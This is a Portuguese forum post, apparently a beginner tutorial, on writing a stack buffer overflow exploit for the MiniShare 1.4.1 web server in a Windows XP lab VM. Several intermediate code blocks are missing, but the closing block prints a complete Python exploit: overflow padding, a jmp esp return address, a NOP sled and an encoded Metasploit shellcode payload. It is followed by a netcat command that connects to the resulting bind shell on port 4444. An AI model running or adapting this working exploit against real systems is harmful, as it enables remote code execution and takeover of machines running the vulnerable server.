Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

"Meu Primeiro Exploit" por AgeTec

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Matéria "Meu Primeiro Exploit" por AgeTec

    Pre-requisitos:
    |---- VM Windows XP sp3
    | |---- immunity debugger (download Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... )
    | |---- minishare 1.4.1 (download Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... )
    |----VM Kali (ou qualquer SO q tenha metasploit e python instalados)

    1º Executa o Minishare e pegue o ip da maquina alvo:


    2º Testando a Vulnerabilidade:
    Escreva o seguinte codigo no seu editor de texto favorito!


    no Windows uma janela de erro sugira, apos a execução do codigo test:
    Código:
    $:./minishareexploit.py 192.168.56.101

    erro:


    3º encontrado o local onde estoura a pilha (+ informações pesquisar sobre buffer overflow)
    usando o seguinte comando temos:


    agora nosso exploit deve fica assim:


    executando o exploit novamente teremos o seguinte resultado:


    agora temos a localização da onde acontece o buffer overflow
    usando o comando


    agora precisamos localizar o endereço de memoria onde esta localizado o comando jmp esp
    q colocaremos no EIP redirecinando o fluxo do programa para nosso payload
    no Immunity ---> view ---> executables modulos ---> shell32 ---> direito do mouse ---> search for ---> comando ---> jmp esp
    chegaremos em algo + ou - assim!


    4º finalmente criando o exploit
    primeiro vms construir o payload com o metasploit da seguinte maneira


    agora so precisamos copia o valor da variavel e colar no nosso exploit
    então o nosso exploit deve fica + ou - assim:
    (vai ter umas coisinhas q eu n falarei agora, para q o post n fique muito grande, + depois eu explico em outro post, como encontrando badchars e NOP Slep)
    finalmente:
    Código:
    #!/usr/bin/python
    import socket, sys
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((sys.argv[1],80))
    
    buffer = "GET "
    
    #valor adquirido no pattern create
    buffer += "A"*1787
    
    #endereço de memoria do comando jmp esp
    buffer += "\xd7\x30\x9d\x7c"
    
    #NOP sled (no operation)
    buffer += "\x90"*20
    
    #payload 
    buffer += ("\xda\xc4\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x56\xbe\xc1\xae\x16"
    "\x70\x31\x70\x18\x83\xe8\xfc\x03\x70\xd5\x4c\xe3\x8c\x3d\x19"
    "\x0c\x6d\xbd\x7a\x84\x88\x8c\xa8\xf2\xd9\xbc\x7c\x70\x8f\x4c"
    "\xf6\xd4\x24\xc7\x7a\xf1\x4b\x60\x30\x27\x65\x71\xf4\xe7\x29"
    "\xb1\x96\x9b\x33\xe5\x78\xa5\xfb\xf8\x79\xe2\xe6\xf2\x28\xbb"
    "\x6d\xa0\xdc\xc8\x30\x78\xdc\x1e\x3f\xc0\xa6\x1b\x80\xb4\x1c"
    "\x25\xd1\x64\x2a\x6d\xc9\x0f\x74\x4e\xe8\xdc\x66\xb2\xa3\x69"
    "\x5c\x40\x32\xbb\xac\xa9\x04\x83\x63\x94\xa8\x0e\x7d\xd0\x0f"
    "\xf0\x08\x2a\x6c\x8d\x0a\xe9\x0e\x49\x9e\xec\xa9\x1a\x38\xd5"
    "\x48\xcf\xdf\x9e\x47\xa4\x94\xf9\x4b\x3b\x78\x72\x77\xb0\x7f"
    "\x55\xf1\x82\x5b\x71\x59\x51\xc5\x20\x07\x34\xfa\x33\xef\xe9"
    "\x5e\x3f\x02\xfe\xd9\x62\x4b\x33\xd4\x9c\x8b\x5b\x6f\xee\xb9"
    "\xc4\xdb\x78\xf2\x8d\xc5\x7f\xf5\xa4\xb2\x10\x08\x46\xc3\x39"
    "\xcf\x12\x93\x51\xe6\x1a\x78\xa2\x07\xcf\x2f\xf2\xa7\xbf\x8f"
    "\xa2\x07\x6f\x78\xa9\x87\x50\x98\xd2\x4d\xe7\x9e\x1c\xb5\xa4"
    "\x48\x5d\x49\x5b\xd5\xe8\xaf\x31\xf5\xbc\x78\xad\x37\x9b\xb0"
    "\x4a\x47\xc9\xec\xc3\xdf\x45\xfb\xd3\xe0\x55\x29\x70\x4c\xfd"
    "\xba\x02\x9e\x3a\xda\x15\x8b\x6a\x95\x2e\x5c\xe0\xcb\xfd\xfc"
    "\xf5\xc1\x95\x9d\x64\x8e\x65\xeb\x94\x19\x32\xbc\x6b\x50\xd6"
    "\x50\xd5\xca\xc4\xa8\x83\x35\x4c\x77\x70\xbb\x4d\xfa\xcc\x9f"
    "\x5d\xc2\xcd\x9b\x09\x9a\x9b\x75\xe7\x5c\x72\x34\x51\x37\x29"
    "\x9e\x35\xce\x01\x21\x43\xcf\x4f\xd7\xab\x7e\x26\xae\xd4\x4f"
    "\xae\x26\xad\xad\x4e\xc8\x64\x76\x7e\x83\x24\xdf\x17\x4a\xbd"
    "\x5d\x7a\x6d\x68\xa1\x83\xee\x98\x5a\x70\xee\xe9\x5f\x3c\xa8"
    "\x02\x12\x2d\x5d\x24\x81\x4e\x74")
    
    buffer += " HTTP/1.1\r\n\r\n"
    
    sock.send(buffer)
    sock.close()
    agora um simples
    Código:
    nc 192.168.56.101 4444
    e pronto!

    AgeTec
    vms lá pessoal, pau nas criticas!
X
Working...
X